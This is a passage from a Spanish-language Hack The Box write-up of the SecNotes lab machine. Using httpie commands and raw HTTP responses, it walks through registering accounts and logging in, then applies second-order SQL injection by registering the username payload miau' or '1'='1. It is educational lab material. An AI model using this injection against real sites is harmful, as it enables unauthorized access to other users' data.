</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;password&#34; class=&#34;form-control&#34; value=&#34;&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Confirm Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;confirm_password&#34; class=&#34;form-control&#34; value=&#34;&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;submit&#34; class=&#34;btn btn-primary&#34; value=&#34;Submit&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;reset&#34; class=&#34;btn btn-default&#34; value=&#34;Reset&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;p&gt;Already have an account? &lt;a href=&#34;login.php&#34;&gt;Login here&lt;/a&gt;.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;/form&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>La pagina de register.php nos pide unicamente que seleccionemos un usuario, una contraseña y ya. Ingresemos este form y creemos un usuario para tener una cookie valida:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http --form http://10.10.10.97/register.php username=sdfsdf password=sdfsdfsdf confirm_password=sdfsdfsdf
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Content-Length: 1593
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:19:50 GMT
</span></span><span style="display:flex;"><span>Location: login.php
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;Secure Notes - Sign Up&lt;/title&gt;
</span></span><span style="display:flex;"><span>    &lt;link rel=&#34;stylesheet&#34; href=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>        body{ font: 14px sans-serif; }
</span></span><span style="display:flex;"><span>        .wrapper{ width: 350px; padding: 20px; }
</span></span><span style="display:flex;"><span>    &lt;/style&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;wrapper&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;h2&gt;Sign Up&lt;/h2&gt;
</span></span><span style="display:flex;"><span>        &lt;p&gt;Please fill this form to create an account.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;form action=&#34;https://www.xbyte.mx/register.php&#34; method=&#34;post&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Username&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;text&#34; name=&#34;username&#34;class=&#34;form-control&#34; value=&#34;sdfsdf&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;password&#34; class=&#34;form-control&#34; value=&#34;sdfsdfsdf&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Confirm Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;confirm_password&#34; class=&#34;form-control&#34; value=&#34;sdfsdfsdf&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;submit&#34; class=&#34;btn btn-primary&#34; value=&#34;Submit&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;reset&#34; class=&#34;btn btn-default&#34; value=&#34;Reset&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;p&gt;Already have an account? &lt;a href=&#34;login.php&#34;&gt;Login here&lt;/a&gt;.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;/form&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Tan pronto enviamos los valores del form, tenemos un 302 que nos regresa a login. Esto quiere decir que probablemente las credenciales ingresadas fueron validas y que ahora podemos usarlas. Intentemos ingresar con las credenciales:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http --form http://10.10.10.97/login.php username=sdfsdf password=sdfsdfsdf
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Content-Length: 1229
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:20:51 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Location: home.php
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=o3eun2na9f7kks1dd3t989me2m; path=/
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;Secure Notes - Login&lt;/title&gt;
</span></span><span style="display:flex;"><span>    &lt;link rel=&#34;stylesheet&#34; href=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>        body{ font: 14px sans-serif; }
</span></span><span style="display:flex;"><span>        .wrapper{ width: 350px; padding: 20px; }
</span></span><span style="display:flex;"><span>    &lt;/style&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;wrapper&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;h2&gt;Login&lt;/h2&gt;
</span></span><span style="display:flex;"><span>        &lt;p&gt;Please fill in your credentials to login.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;form action=&#34;https://www.xbyte.mx/login.php&#34; method=&#34;post&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Username&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;text&#34; name=&#34;username&#34;class=&#34;form-control&#34; value=&#34;sdfsdf&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;password&#34; class=&#34;form-control&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;submit&#34; class=&#34;btn btn-primary&#34; value=&#34;Login&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;p&gt;Don&#39;t have an account? &lt;a href=&#34;register.php&#34;&gt;Sign up now&lt;/a&gt;.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;/form&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Yei, ya tenemos otra redireccion a home y un Set-Cookie. Veamos que hay en home usando la cookie:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http http://10.10.10.97/home.php &#34;Cookie: PHPSESSID=o3eun2na9f7kks1dd3t989me2m; path=/&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Content-Length: 2806
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:25:00 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;Secure Notes - Home&lt;/title&gt;
</span></span><span style="display:flex;"><span>    &lt;link rel=&#34;stylesheet&#34; href=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>        body{ font: 14px sans-serif; text-align: center; }
</span></span><span style="display:flex;"><span>                .accordion {
</span></span><span style="display:flex;"><span>                        background-color: #eee;
</span></span><span style="display:flex;"><span>                        color: #444;
</span></span><span style="display:flex;"><span>                        cursor: pointer;
</span></span><span style="display:flex;"><span>                        padding: 18px;
</span></span><span style="display:flex;"><span>                        width: 80%;
</span></span><span style="display:flex;"><span>                        border: none;
</span></span><span style="display:flex;"><span>                        text-align: left;
</span></span><span style="display:flex;"><span>                        outline: none;
</span></span><span style="display:flex;"><span>                        font-size: 15px;
</span></span><span style="display:flex;"><span>                        transition: 0.4s;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                .active, .accordion:hover {
</span></span><span style="display:flex;"><span>                        background-color: #ccc;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                .accordion:after {
</span></span><span style="display:flex;"><span>                        content: &#39;\002B&#39;;
</span></span><span style="display:flex;"><span>                        color: #777;
</span></span><span style="display:flex;"><span>                        font-weight: bold;
</span></span><span style="display:flex;"><span>                        float: right;
</span></span><span style="display:flex;"><span>                        margin-left: 5px;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                .active:after {
</span></span><span style="display:flex;"><span>                        content: &#34;\2212&#34;;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                .panel {
</span></span><span style="display:flex;"><span>                        padding: 0 18px;
</span></span><span style="display:flex;"><span>                        background-color: white;
</span></span><span style="display:flex;"><span>                        max-height: 0;
</span></span><span style="display:flex;"><span>                        overflow: hidden;
</span></span><span style="display:flex;"><span>                        transition: max-height 0.2s ease-out;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>    &lt;/style&gt;
</span></span><span style="display:flex;"><span>        &lt;script src=&#34;https://code.jquery.com/jquery-3.2.1.slim.min.js&#34; integrity=&#34;sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/Gp
</span></span><span style="display:flex;"><span>GFF93hXpG5KkN&#34; crossorigin=&#34;anonymous&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>        &lt;script src=&#34;https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js&#34; integrity=&#34;sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxh
</span></span><span style="display:flex;"><span>U9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q&#34; crossorigin=&#34;anonymous&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>        &lt;script src=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js&#34; integrity=&#34;sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRR
</span></span><span style="display:flex;"><span>SQQxSfFWpi1MquVdAyjUar5+76PVCmYl&#34; crossorigin=&#34;anonymous&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>        &lt;div class=&#34;alert alert-warning&#34;&gt;
</span></span><span style="display:flex;"><span>          Due to GDPR, all users must delete any notes that contain Personally Identifable Information (PII)&lt;br/&gt;Please contact &lt;strong&gt;tyle
</span></span><span style="display:flex;"><span>r@secnotes.htb&lt;/strong&gt; using the contact link below with any questions.        &lt;/div&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;page-header&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;h1&gt;Viewing Secure Notes for &lt;b&gt;sdfsdf&lt;/b&gt;&lt;/h1&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>        &lt;div&gt;
</span></span><span style="display:flex;"><span>        &lt;p&gt;User &lt;strong&gt;sdfsdf&lt;/strong&gt; has no notes. Create one by clicking below.&lt;/p&gt; &lt;/div&gt;
</span></span><span style="display:flex;"><span>        &lt;div class=&#34;btn-group&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;a href=&#34;submit_note.php&#34; class=&#34;btn btn-lg btn-block btn-success&#34;&gt;New Note&lt;/a&gt;
</span></span><span style="display:flex;"><span>        &lt;a href=&#34;change_pass.php&#34; class=&#34;btn btn-lg btn-block btn-warning&#34;&gt;Change Password&lt;/a&gt;
</span></span><span style="display:flex;"><span>        &lt;a href=&#34;logout.php&#34; class=&#34;btn btn-lg btn-block btn-danger&#34;&gt;Sign Out&lt;/a&gt;
</span></span><span style="display:flex;"><span>        &lt;a href=&#34;contact.php&#34; class=&#34;btn btn-lg btn-block btn-info&#34;&gt;Contact Us&lt;/a&gt;
</span></span><span style="display:flex;"><span>        &lt;/div&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        &lt;script&gt;
</span></span><span style="display:flex;"><span>        var acc = document.getElementsByClassName(&#34;accordion&#34;);
</span></span><span style="display:flex;"><span>        var i;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        for (i = 0; i &lt; acc.length; i++) {
</span></span><span style="display:flex;"><span>          acc[i].addEventListener(&#34;click&#34;, function() {
</span></span><span style="display:flex;"><span>                this.classList.toggle(&#34;active&#34;);
</span></span><span style="display:flex;"><span>                var panel = this.nextElementSibling.nextElementSibling;
</span></span><span style="display:flex;"><span>                if (panel.style.maxHeight){
</span></span><span style="display:flex;"><span>                  panel.style.maxHeight = null;
</span></span><span style="display:flex;"><span>                } else {
</span></span><span style="display:flex;"><span>                  panel.style.maxHeight = panel.scrollHeight + &#34;px&#34;;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>       });
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        &lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Muy interesante, aunque no tenemos notas, si podemos extraer que existe un usuario <a href="mailto:tyler@secnotes.htb">tyler@secnotes.htb</a>. Esto nos abre la posibilidad y el guiño a que debemos ir tras de tyler.</p>
<p>Después de intentar un sqli en el login que aceptaba parámetros y un pequeño hit a otra maquina, decidí intentarlo con la otra pagina que también acepta POSTs, register.php.</p>
<h1 id="second-order-sqli">Second order sqli</h1>
<p>Ok, la teoría es la siguiente:</p>
<p>Hay valores que son almacenados en las bases de datos que en ocasiones son llamados para despegar propiedades, tales como las notas, posts, etc., por ejemplo, Bienvenido usuario XXXX YYYY. Aprovechándonos de que podemos ingresar cualquier usuario (siempre y cuando este no exista previamente), lo que haremos es crear un usuario que con apellido sqli.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http --form http://10.10.10.97/register.php &#34;username=miau&#39; or &#39;1&#39;=&#39;1&#34; password=miaumiau confirm_password=miaumiau
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Content-Length: 1600
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:27:55 GMT
</span></span><span style="display:flex;"><span>Location: login.php
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;Secure Notes - Sign Up&lt;/title&gt;
</span></span><span style="display:flex;"><span>    &lt;link rel=&#34;stylesheet&#34; href=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>        body{ font: 14px sans-serif; }
</span></span><span style="display:flex;"><span>        .wrapper{ width: 350px; padding: 20px; }
</span></span><span style="display:flex;"><span>    &lt;/style&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;wrapper&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;h2&gt;Sign Up&lt;/h2&gt;
</span></span><span style="display:flex;"><span>        &lt;p&gt;Please fill this form to create an account.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;form action=&#34;https://www.xbyte.mx/register.php&#34; method=&#34;post&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Username&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;text&#34; name=&#34;username&#34;class=&#34;form-control&#34; value=&#34;miau&#39; or &#39;1&#39;=&#39;1&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;password&#34; class=&#34;form-control&#34; value=&#34;miaumiau&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Confirm Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;confirm_password&#34; class=&#34;form-control&#34; value=&#34;miaumiau&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;submit&#34; class=&#34;btn btn-primary&#34; value=&#34;Submit&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;reset&#34; class=&#34;btn btn-default&#34; value=&#34;Reset&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;p&gt;Already have an account? &lt;a href=&#34;login.php&#34;&gt;Login here&lt;/a&gt;.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;/form&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Observamos que nos ha devuelto un 302 hacia login, bien. Continuemos ahora por ingresar en login usando nuestras credenciales:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http --form http://10.10.10.97/login.php &#34;username=miau&#39; or &#39;1&#39;=&#39;1&#34; password=miaumiau
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Content-Length: 1238
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:28:12 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Location: home.php
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=v5er5q1ku6rj1l0vadfrn99nnh; path=/
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;Secure Notes - Login&lt;/title&gt;
</span></span><span style="display:flex;"><span>    &lt;link rel=&#34;stylesheet&#34; href=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>        body{ font: 14px sans-serif; }
</span></span><span style="display:flex;"><span>        .wrapper{ width: 350px; padding: 20px; }
</span></span><span style="display:flex;"><span>    &lt;/style&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;wrapper&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;h2&gt;Login&lt;/h2&gt;
</span></span><span style="display:flex;"><span>        &lt;p&gt;Please fill in your credentials to login.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;form action=&#34;https://www.xbyte.mx/login.php&#34; method=&#34;post&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Username&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;text&#34; name=&#34;username&#34;class=&#34;form-control&#34; value=&#34;miau&#39; or &#39;1&#39;=&#39;1&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group &#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;label&gt;Password&lt;/label&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;password&#34; name=&#34;password&#34; class=&#34;form-control&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;span class=&#34;help-block&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;div class=&#34;form-group&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;input type=&#34;submit&#34; class=&#34;btn btn-primary&#34; value=&#34;Login&#34;&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>            &lt;p&gt;Don&#39;t have an account? &lt;a href=&#34;register.php&#34;&gt;Sign up now&lt;/a&gt;.&lt;/p&gt;
</span></span><span style="display:flex;"><span>        &lt;/form&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Great. Tenemos otro 302 hacia home. Usemos ahora el cookie para ver el home de nuestro <code>amigo' or '1'='1</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# http http://10.10.10.97/home.php &#34;Cookie: PHPSESSID=v5er5q1ku6rj1l0vadfrn99nnh; path=/&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Content-Length: 5803
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 08 Jan 2019 00:28:43 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.2.7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;Secure Notes - Home&lt;/title&gt;
